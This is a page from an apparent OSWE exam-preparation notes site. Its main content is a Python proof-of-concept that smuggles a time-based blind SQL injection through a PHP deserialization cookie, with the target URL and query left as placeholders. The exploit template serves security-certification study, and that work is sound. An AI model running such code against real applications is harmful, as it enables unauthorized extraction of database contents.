AWAE - OSWE Preparation / Resources
  • TL;DR
  • General
    • Resources
      • BurpSuite
      • WhiteBox
    • POCs
      • Deserialization
        • PHP
        • Java
          • Ysoserial
      • SQL Injection
      • Type Juggling
      • CSRF
  • By Vulnerability
    • SQL Injection
      • Summary
      • Types
      • Injection by clause
      • Bypassing Character Restrictions
      • By Language
        • JAVA
          • Regex
          • Summary
      • Regex
      • Resources
    • Deserialization
      • By Language
        • PHP
          • Regex
          • Summary
          • Practice
        • JAVA
          • Regex
          • Summary
          • Practice
          • Resources
        • .NET
          • Regex
          • Summary
          • Resources
      • Resources
    • XSS
    • XXE
      • By Language
        • PHP
          • Practice
          • Resources
        • Java
          • Vulnerable Libraries' Implementation
      • Resources
    • SSTI
      • Summary
      • Practice
      • Resources
    • File Upload Restrictions Bypass
      • Tricks
      • File Extension Filters Bypass List
      • Resources
  • REGEX
  • By Language
    • PHP
      • Regex
      • Type Juggling
        • Summary
        • Practice
    • Java
      • Decompiling
      • Compiling & Running
    • NodeJS
      • Practice
  • Random
  • Other Repositories
Powered by GitBook
On this page

Was this helpful?

  1. General
  2. POCs
  3. Deserialization

PHP

SQL Injection through Deserialization

import requests
from requests.exceptions import Timeout
import base64
import string
import time

url = ""

extracted = ""
while True:
    for char in string.digits + string.ascii_letters + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":

        payload = f"""[ESCAPE]; [SUBQUERY] AND 1=randomblob(9000000000);--""" # Stacked query

        injection = 'O:3:"POC":1:{s:4:"test";s:%s:"%s";}' % (len(payload), payload)
        injection = injection.encode("utf-8")

        cookies = {'cookie': f"{base64.b64encode(injection).decode()}"}

        for i in range(1):
            try:
                r = requests.get(url, cookies=cookies, timeout=1.1)
            except KeyboardInterrupt:
                exit()
            except:
                extracted= extracted + char       
        print(payload, extracted)
PreviousDeserializationNextJava

Last updated 4 years ago

Was this helpful?